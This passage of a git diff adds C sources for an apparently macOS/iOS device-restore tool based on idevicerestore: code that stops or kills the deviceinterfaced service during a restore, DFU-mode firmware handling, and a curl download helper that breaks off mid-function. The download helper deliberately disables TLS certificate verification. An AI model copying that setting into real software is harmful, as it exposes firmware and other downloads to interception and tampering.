+ control_state = DEVICEINTERFACED_BOOTED_OUT;
+ status = wait_for_service_to_unload();
+ if (status < 0) {
+ if (status == -ETIMEDOUT) {
+ logger(LL_ERROR, "Timed out waiting for " DEVICEINTERFACED_LABEL " to stop.\n");
+ } else {
+ log_launchctl_failure("query", status);
+ }
+ return -1;
+ }
+ logger(LL_INFO, "Booted out " DEVICEINTERFACED_LABEL " for the duration of the restore.\n");
+ return 0;
+ }
+ if (status < 0) {
+ log_launchctl_failure("boot out", status);
+ return -1;
+ }
+
+ logger(LL_WARNING, "Could not boot out " DEVICEINTERFACED_LABEL " (launchctl exit status %d); terminating it while the restore runs.\n", status);
+ atomic_store_explicit(&stop_killer, 0, memory_order_relaxed);
+ status = thread_new(&killer_thread, kill_service, NULL);
+ if (status != 0) {
+ logger(LL_ERROR, "Could not start " DEVICEINTERFACED_LABEL " termination loop: %s.\n", strerror(status));
+ return -1;
+ }
+ control_state = DEVICEINTERFACED_KILLING;
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/deviceinterfaced.h b/sources/MobileRestoreCore/deviceinterfaced.h
new file mode 100644
index 00000000..c8623ad9
--- /dev/null
+++ b/sources/MobileRestoreCore/deviceinterfaced.h
@@ -0,0 +1,28 @@
+/*
+ * deviceinterfaced.h
+ * Control deviceinterfaced while accessing restore devices on macOS
+ *
+ * Copyright (c) 2026 libimobiledevice contributors. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef DEVICEINTERFACED_H
+#define DEVICEINTERFACED_H
+
+int deviceinterfaced_control_start(void);
+void deviceinterfaced_control_stop(void);
+
+#endif
diff --git a/sources/MobileRestoreCore/dfu.c b/sources/MobileRestoreCore/dfu.c
new file mode 100644
index 00000000..6ba23e7f
--- /dev/null
+++ b/sources/MobileRestoreCore/dfu.c
@@ -0,0 +1,675 @@
+/*
+ * dfu.c
+ * Functions for handling idevices in DFU mode
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <libirecovery.h>
+
+#include <libtatsu/tss.h>
+
+#include "dfu.h"
+#include "recovery.h"
+#include "idevicerestore.h"
+#include "common.h"
+
+static int dfu_progress_callback(irecv_client_t client, const irecv_event_t* event) {
+ if (event->type == IRECV_PROGRESS) {
+ set_progress('DFUP', (double)event->progress/100.0);
+ }
+ return 0;
+}
+
+int dfu_client_new(struct idevicerestore_client_t* client)
+{
+ irecv_client_t dfu = NULL;
+
+ if (client->dfu == NULL) {
+ client->dfu = (struct dfu_client_t*)malloc(sizeof(struct dfu_client_t));
+ memset(client->dfu, 0, sizeof(struct dfu_client_t));
+ if (client->dfu == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+ }
+
+ if (irecv_open_with_ecid_and_attempts(&dfu, client->ecid, 10) != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to connect to device in DFU mode\n");
+ return -1;
+ }
+
+ irecv_event_subscribe(dfu, IRECV_PROGRESS, &dfu_progress_callback, NULL);
+ client->dfu->client = dfu;
+ return 0;
+}
+
+void dfu_client_free(struct idevicerestore_client_t* client)
+{
+ if(client != NULL) {
+ finalize_progress('DFUP');
+ if (client->dfu != NULL) {
+ if(client->dfu->client != NULL) {
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ }
+ free(client->dfu);
+ }
+ client->dfu = NULL;
+ }
+}
+
+irecv_device_t dfu_get_irecv_device(struct idevicerestore_client_t* client)
+{
+ irecv_client_t dfu = NULL;
+ irecv_error_t dfu_error = IRECV_E_SUCCESS;
+ irecv_device_t device = NULL;
+
+ if (irecv_open_with_ecid_and_attempts(&dfu, client->ecid, 10) != IRECV_E_SUCCESS) {
+ return NULL;
+ }
+
+ dfu_error = irecv_devices_get_device_by_client(dfu, &device);
+ if (dfu_error == IRECV_E_SUCCESS) {
+ if (client->ecid == 0) {
+ const struct irecv_device_info *device_info = irecv_get_device_info(dfu);
+ client->ecid = device_info->ecid;
+ }
+ }
+ irecv_close(dfu);
+ if (dfu_error != IRECV_E_SUCCESS) {
+ return NULL;
+ }
+
+ return device;
+}
+
+int dfu_send_buffer_with_options(struct idevicerestore_client_t* client, const void* buffer, size_t size, unsigned int irecv_options)
+{
+ irecv_error_t err = 0;
+
+ logger(LL_INFO, "Sending data (%zu bytes)...\n", size);
+
+ err = irecv_send_buffer(client->dfu->client, (unsigned char*)buffer, size, irecv_options);
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send data: %s\n", irecv_strerror(err));
+ return -1;
+ }
+
+ return 0;
+}
+
+int dfu_send_buffer(struct idevicerestore_client_t* client, const void* buffer, size_t size)
+{
+ return dfu_send_buffer_with_options(client, buffer, size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH);
+}
+
+int dfu_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component)
+{
+ char* path = NULL;
+
+ // Use a specific TSS ticket for the Ap,LocalPolicy component
+ plist_t tss = client->tss;
+ if (strcmp(component, "Ap,LocalPolicy") == 0) {
+ tss = client->tss_localpolicy;
+ }
+
+ void* component_data = NULL;
+ size_t component_size = 0;
+
+ if (strcmp(component, "Ap,LocalPolicy") == 0) {
+ // If Ap,LocalPolicy => Inject an empty policy
+ component_data = malloc(sizeof(lpol_file));
+ component_size = sizeof(lpol_file);
+ memcpy(component_data, lpol_file, component_size);
+ } else {
+ if (tss) {
+ if (tss_response_get_path_by_entry(tss, component, &path) < 0) {
+ logger(LL_DEBUG, "No path for component %s in TSS, will fetch from build_identity\n", component);
+ }
+ }
+ if (!path) {
+ if (build_identity_get_component_path(build_identity, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to get path for component '%s'\n", component);
+ free(path);
+ return -1;
+ }
+ }
+
+ if (extract_component(client->ipsw, path, &component_data, &component_size) < 0) {
+ logger(LL_ERROR, "Unable to extract component: %s\n", component);
+ free(path);
+ return -1;
+ }
+ free(path);
+ path = NULL;
+ }
+
+ void* data = NULL;
+ size_t size = 0;
+
+ if (personalize_component(client, component, component_data, component_size, tss, &data, &size) < 0) {
+ logger(LL_ERROR, "Unable to get personalized component: %s\n", component);
+ free(component_data);
+ return -1;
+ }
+ free(component_data);
+ component_data = NULL;
+
+ if (!client->image4supported && client->build_major > 8 && !(client->flags & FLAG_CUSTOM) && !strcmp(component, "iBEC")) {
+ unsigned char* ticket = NULL;
+ unsigned int tsize = 0;
+ if (tss_response_get_ap_ticket(client->tss, &ticket, &tsize) < 0) {
+ logger(LL_ERROR, "Unable to get ApTicket from TSS request\n");
+ return -1;
+ }
+ uint32_t fillsize = 0;
+ if (tsize % 64 != 0) {
+ fillsize = ((tsize / 64) + 1) * 64;
+ }
+ logger(LL_DEBUG, "ticket size = %d\nfillsize = %d\n", tsize, fillsize);
+ unsigned char* newdata = (unsigned char*)malloc(size + fillsize);
+ memcpy(newdata, ticket, tsize);
+ memset(newdata + tsize, '\xFF', fillsize - tsize);
+ memcpy(newdata + fillsize, data, size);
+ free(data);
+ data = newdata;
+ size += fillsize;
+ }
+
+ logger(LL_INFO, "Sending %s (%zu bytes)...\n", component, size);
+
+ register_progress('DFUP', "Uploading");
+ irecv_error_t err = irecv_send_buffer(client->dfu->client, data, size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH);
+ finalize_progress('DFUP');
+ if (err != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send %s component: %s\n", component, irecv_strerror(err));
+ free(data);
+ return -1;
+ }
+
+ free(data);
+ return 0;
+}
+
+int dfu_get_bdid(struct idevicerestore_client_t* client, unsigned int* bdid)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ *bdid = device_info->bdid;
+
+ return 0;
+}
+
+int dfu_get_cpid(struct idevicerestore_client_t* client, unsigned int* cpid)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ *cpid = device_info->cpid;
+
+ return 0;
+}
+
+int dfu_get_prev(struct idevicerestore_client_t* client, unsigned int* prev)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+ char* ptr = strstr(device_info->serial_string, "PREV:");
+ if (ptr) {
+ sscanf(ptr, "PREV:%x", prev);
+ return 0;
+ }
+ return -1;
+}
+
+
+int dfu_is_image4_supported(struct idevicerestore_client_t* client)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return 0;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return 0;
+ }
+
+ return (device_info->ibfl & IBOOT_FLAG_IMAGE4_AWARE);
+}
+
+int dfu_get_portdfu_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ if (device_info->ap_nonce && device_info->ap_nonce_size > 0) {
+ *nonce = (unsigned char*)malloc(device_info->ap_nonce_size);
+ if (!*nonce) {
+ return -1;
+ }
+ *nonce_size = device_info->ap_nonce_size;
+ // The nonce is backwards, so we have to swap the bytes
+ unsigned int i = 0;
+ for (i = 0; i < *nonce_size; i++) {
+ (*nonce)[(*nonce_size)-1-i] = device_info->ap_nonce[i];
+ }
+ }
+
+ return 0;
+}
+
+int dfu_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ if (device_info->ap_nonce && device_info->ap_nonce_size > 0) {
+ *nonce = (unsigned char*)malloc(device_info->ap_nonce_size);
+ if (!*nonce) {
+ return -1;
+ }
+ *nonce_size = device_info->ap_nonce_size;
+ memcpy(*nonce, device_info->ap_nonce, *nonce_size);
+ }
+
+ return 0;
+}
+
+int dfu_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size)
+{
+ if(client->dfu == NULL) {
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ }
+
+ const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client);
+ if (!device_info) {
+ return -1;
+ }
+
+ if (device_info->sep_nonce && device_info->sep_nonce_size > 0) {
+ *nonce = (unsigned char*)malloc(device_info->sep_nonce_size);
+ if (!*nonce) {
+ return -1;
+ }
+ *nonce_size = device_info->sep_nonce_size;
+ memcpy(*nonce, device_info->sep_nonce, *nonce_size);
+ }
+
+ return 0;
+}
+
+int dfu_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command)
+{
+ irecv_error_t dfu_error = IRECV_E_SUCCESS;
+
+ if (dfu_send_component(client, build_identity, component) < 0) {
+ logger(LL_ERROR, "Unable to send %s to device.\n", component);
+ return -1;
+ }
+
+ logger(LL_INFO, "INFO: executing command: %s\n", command);
+ dfu_error = irecv_send_command(client->dfu->client, command);
+ if (dfu_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", command);
+ return -1;
+ }
+
+ return 0;
+}
+
+int dfu_send_command(struct idevicerestore_client_t* client, const char* command)
+{
+ irecv_error_t dfu_error = IRECV_E_SUCCESS;
+
+ logger(LL_INFO, "INFO: executing command: %s\n", command);
+ dfu_error = irecv_send_command(client->dfu->client, command);
+ if (dfu_error != IRECV_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to execute %s\n", command);
+ return -1;
+ }
+
+ return 0;
+}
+
+int dfu_send_iboot_stage1_components(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest");
+ if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) {
+ logger(LL_ERROR, "Unable to find manifest node\n");
+ return -1;
+ }
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(manifest_node, &iter);
+ int err = 0;
+ while (iter) {
+ char *key = NULL;
+ plist_t node = NULL;
+ plist_dict_next_item(manifest_node, iter, &key, &node);
+ if (key == NULL)
+ break;
+
+ plist_t iboot_node = plist_access_path(node, 2, "Info", "IsLoadedByiBoot");
+ plist_t iboot_stg1_node = plist_access_path(node, 2, "Info", "IsLoadedByiBootStage1");
+ uint8_t is_stg1 = 0;
+ if (iboot_stg1_node && plist_get_node_type(iboot_stg1_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(iboot_stg1_node, &is_stg1);
+ }
+ if (iboot_node && plist_get_node_type(iboot_node) == PLIST_BOOLEAN && is_stg1) {
+ uint8_t b = 0;
+ plist_get_bool_val(iboot_node, &b);
+ if (b) {
+ logger(LL_DEBUG, "%s is loaded by iBoot Stage 1 and iBoot.\n", key);
+ } else {
+ logger(LL_DEBUG, "%s is loaded by iBoot Stage 1 but not iBoot...\n", key);
+ }
+ if (dfu_send_component_and_command(client, build_identity, key, "firmware") < 0) {
+ logger(LL_ERROR, "Unable to send component '%s' to device.\n", key);
+ err++;
+ }
+ }
+ free(key);
+ }
+ free(iter);
+
+ return (err) ? -1 : 0;
+}
+
+int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity)
+{
+ int mode = 0;
+
+ if (dfu_client_new(client) < 0) {
+ logger(LL_ERROR, "Unable to connect to DFU device\n");
+ return -1;
+ }
+
+ irecv_get_mode(client->dfu->client, &mode);
+
+ if (mode != IRECV_K_DFU_MODE) {
+ logger(LL_NOTICE, "device is not in DFU mode, assuming recovery mode.\n");
+ client->mode = MODE_RECOVERY;
+ return 0;
+ }
+
+ mutex_lock(&client->device_event_mutex);
+
+ if (dfu_send_component(client, build_identity, "iBSS") < 0) {
+ logger(LL_ERROR, "Unable to send iBSS to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+ dfu_client_free(client);
+
+ if (client->build_major > 8) {
+ /* reconnect */
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not disconnect. Possibly invalid iBSS. Reset device and try again.\n");
+ }
+ return -1;
+ }
+ logger(LL_DEBUG, "Waiting for device to reconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if ((client->mode != MODE_DFU && client->mode != MODE_RECOVERY) || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not reconnect in DFU or recovery mode. Possibly invalid iBSS. Reset device and try again.\n");
+ }
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+ dfu_client_new(client);
+
+ /* get nonce */
+ unsigned char* nonce = NULL;
+ unsigned int nonce_size = 0;
+ int nonce_changed = 0;
+ if (dfu_get_ap_nonce(client, &nonce, &nonce_size) < 0) {
+ logger(LL_ERROR, "Unable to get ApNonce from device!\n");
+ return -1;
+ }
+
+ if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) {
+ nonce_changed = 1;
+ if (client->nonce) {
+ free(client->nonce);
+ }
+ client->nonce = nonce;
+ client->nonce_size = nonce_size;
+ } else {
+ free(nonce);
+ }
+
+ logger(LL_INFO, "Nonce: ");
+ logger_dump_hex(LL_INFO, client->nonce, client->nonce_size);
+
+ if (nonce_changed && !(client->flags & FLAG_CUSTOM)) {
+ // Welcome iOS5. We have to re-request the TSS with our nonce.
+ plist_free(client->tss);
+ if (get_tss_response(client, build_identity, &client->tss) < 0) {
+ logger(LL_ERROR, "Unable to get SHSH blobs for this device\n");
+ return -1;
+ }
+ if (!client->tss) {
+ logger(LL_ERROR, "can't continue without TSS\n");
+ return -1;
+ }
+ fixup_tss(client->tss);
+ }
+
+ if (irecv_usb_set_configuration(client->dfu->client, 1) < 0) {
+ logger(LL_ERROR, "set configuration failed\n");
+ }
+
+ mutex_lock(&client->device_event_mutex);
+
+ // Now, before sending iBEC, we must send necessary firmwares on new versions.
+ if (client->macos_variant) {
+ // Without this empty policy file & its special signature, iBEC won't start.
+ if (dfu_send_component_and_command(client, build_identity, "Ap,LocalPolicy", "lpolrestore") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send Ap,LocalPolicy to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ char *value = NULL;
+ unsigned long boot_stage = 0;
+ irecv_getenv(client->dfu->client, "boot-stage", &value);
+ if (value) {
+ boot_stage = strtoul(value, NULL, 0);
+ }
+ if (boot_stage > 0) {
+ logger(LL_INFO, "iBoot boot-stage=%s\n", value);
+ free(value);
+ value = NULL;
+ if (boot_stage != 1) {
+ logger(LL_ERROR, "iBoot should be at boot stage 1, continuing anyway...\n");
+ }
+ }
+
+ if (dfu_send_iboot_stage1_components(client, build_identity) < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send iBoot stage 1 components to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_command(client, "setenv auto-boot false") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send command to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_command(client, "saveenv") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send command to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_command(client, "setenvnp boot-args rd=md0 nand-enable-reformat=1 -progress -restore") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send command to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_component(client, build_identity, "RestoreLogo") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send RestoreDCP to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_command(client, "setpicture 4") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send command to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (dfu_send_command(client, "bgcolor 0 0 0") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send command to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+ }
+
+ /* send iBEC */
+ if (dfu_send_component(client, build_identity, "iBEC") < 0) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to send iBEC to device\n");
+ irecv_close(client->dfu->client);
+ client->dfu->client = NULL;
+ return -1;
+ }
+
+ if (client->mode == MODE_RECOVERY) {
+ sleep(1);
+ if (irecv_send_command_breq(client->dfu->client, "go", 1) != IRECV_E_SUCCESS) {
+ mutex_unlock(&client->device_event_mutex);
+ logger(LL_ERROR, "Unable to execute iBEC\n");
+ return -1;
+ }
+
+ if (client->build_major < 20) {
+ irecv_usb_control_transfer(client->dfu->client, 0x21, 1, 0, 0, 0, 0, 5000);
+ }
+ }
+ dfu_client_free(client);
+ }
+
+ logger(LL_DEBUG, "Waiting for device to disconnect...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not disconnect. Possibly invalid %s. Reset device and try again.\n", (client->build_major > 8) ? "iBEC" : "iBSS");
+ }
+ return -1;
+ }
+ logger(LL_DEBUG, "Waiting for device to reconnect in recovery mode...\n");
+ cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000);
+ if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) {
+ mutex_unlock(&client->device_event_mutex);
+ if (!(client->flags & FLAG_QUIT)) {
+ logger(LL_ERROR, "Device did not reconnect in recovery mode. Possibly invalid %s. Reset device and try again.\n", (client->build_major > 8) ? "iBEC" : "iBSS");
+ }
+ return -1;
+ }
+ mutex_unlock(&client->device_event_mutex);
+
+ if (recovery_client_new(client) < 0) {
+ logger(LL_ERROR, "Unable to connect to recovery device\n");
+ if (client->recovery->client) {
+ irecv_close(client->recovery->client);
+ client->recovery->client = NULL;
+ }
+ return -1;
+ }
+
+ return 0;
+}
+
diff --git a/sources/MobileRestoreCore/dfu.h b/sources/MobileRestoreCore/dfu.h
new file mode 100644
index 00000000..7b1d092f
--- /dev/null
+++ b/sources/MobileRestoreCore/dfu.h
@@ -0,0 +1,60 @@
+/*
+ * dfu.h
+ * Functions for handling idevices in DFU mode
+ *
+ * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012-2015 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_DFU_H
+#define IDEVICERESTORE_DFU_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <libirecovery.h>
+#include "common.h"
+
+struct dfu_client_t {
+ irecv_client_t client;
+ const char* ipsw;
+ plist_t tss;
+};
+
+int dfu_client_new(struct idevicerestore_client_t* client);
+void dfu_client_free(struct idevicerestore_client_t* client);
+irecv_device_t dfu_get_irecv_device(struct idevicerestore_client_t* client);
+int dfu_send_buffer(struct idevicerestore_client_t* client, const void* buffer, size_t size);
+int dfu_send_buffer_with_options(struct idevicerestore_client_t* client, const void* buffer, size_t size, unsigned int irecv_options);
+int dfu_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component);
+int dfu_get_bdid(struct idevicerestore_client_t* client, unsigned int* bdid);
+int dfu_get_cpid(struct idevicerestore_client_t* client, unsigned int* cpid);
+int dfu_get_prev(struct idevicerestore_client_t* client, unsigned int* prev);
+int dfu_is_image4_supported(struct idevicerestore_client_t* client);
+int dfu_get_portdfu_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int dfu_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int dfu_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size);
+int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/download.c b/sources/MobileRestoreCore/download.c
new file mode 100644
index 00000000..0b6b076b
--- /dev/null
+++ b/sources/MobileRestoreCore/download.c
@@ -0,0 +1,169 @@
+/*
+ * download.c
+ * file download helper functions
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012-2013 Martin Szulecki. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <curl/curl.h>
+
+#include "download.h"
+#include "common.h"
+
+typedef struct {
+ int length;
+ char* content;
+} curl_response;
+
+static size_t download_write_buffer_callback(char* data, size_t size, size_t nmemb, curl_response* response) {
+ size_t total = size * nmemb;
+ if (total != 0) {
+ response->content = realloc(response->content, response->length + total + 1);
+ memcpy(response->content + response->length, data, total);
+ response->content[response->length + total] = '\0';
+ response->length += total;
+ }
+ return total;
+}
+
+int download_to_buffer(const char* url, void** buf, size_t* length)
+{
+ int res = 0;
+ CURL* handle = curl_easy_init();
+ if (handle == NULL) {
+ logger(LL_ERROR, "could not initialize CURL\n");
+ return -1;
+ }
+
+ curl_response response;
+ response.length = 0;
+ response.content = malloc(1);
+ response.content[0] = '\0';
+
+ if (log_level >= LL_DEBUG)
+ curl_easy_setopt(handle, CURLOPT_VERBOSE, 1);
+
+ /* disable SSL verification to allow download from untrusted https locations */
+ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0);
+
+ curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&download_write_buffer_callback);
+ curl_easy_setopt(handle, CURLOPT_WRITEDATA, &response);
+ if (strncmp(url, "https://api.ipsw.me/", 20) == 0) {
+ curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING " idevicerestore/" PACKAGE_VERSION);
+ } else {
+ curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING);
+ }
+ curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);
+ curl_easy_setopt(handle, CURLOPT_URL, url);
+
+ curl_easy_perform(handle);
+ curl_easy_cleanup(handle);
+
+ if (response.length > 0) {
+ *length = response.length;
+ *buf = response.content;
+ } else {
+ res = -1;
+ }
+
+ return res;
+}
+
+#if LIBCURL_VERSION_NUM >= 0x072000
+static int download_progress(void *clientp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow)
+#else
+static int download_progress(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow)
+#endif
+{
+ double p = ((double)dlnow / (double)dltotal);
+
+ set_progress('DNLD', p);
+
+ if (global_quit_flag > 0) {
+ return 1;
+ }
+
+ return 0;
+}
+
+int download_to_file(const char* url, const char* filename, int enable_progress)
+{
+ int res = 0;
+ CURL* handle = curl_easy_init();
+ if (handle == NULL) {
+ logger(LL_ERROR, "Could not initialize CURL\n");
+ return -1;
+ }
+
+ FILE* f = fopen(filename, "wb");
+ if (!f) {
+ logger(LL_ERROR, "Cannot open '%s' for writing\n", filename);
+ return -1;
+ }
+
+ if (log_level >= LL_DEBUG)
+ curl_easy_setopt(handle, CURLOPT_VERBOSE, 1);
+
+ /* disable SSL verification to allow download from untrusted https locations */
+ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0);
+
+ curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, NULL);
+ curl_easy_setopt(handle, CURLOPT_WRITEDATA, f);
+
+ if (enable_progress > 0) {
+ register_progress('DNLD', "Downloading");
+#if LIBCURL_VERSION_NUM >= 0x072000
+ curl_easy_setopt(handle, CURLOPT_XFERINFOFUNCTION, (curl_progress_callback)&download_progress);
+#else
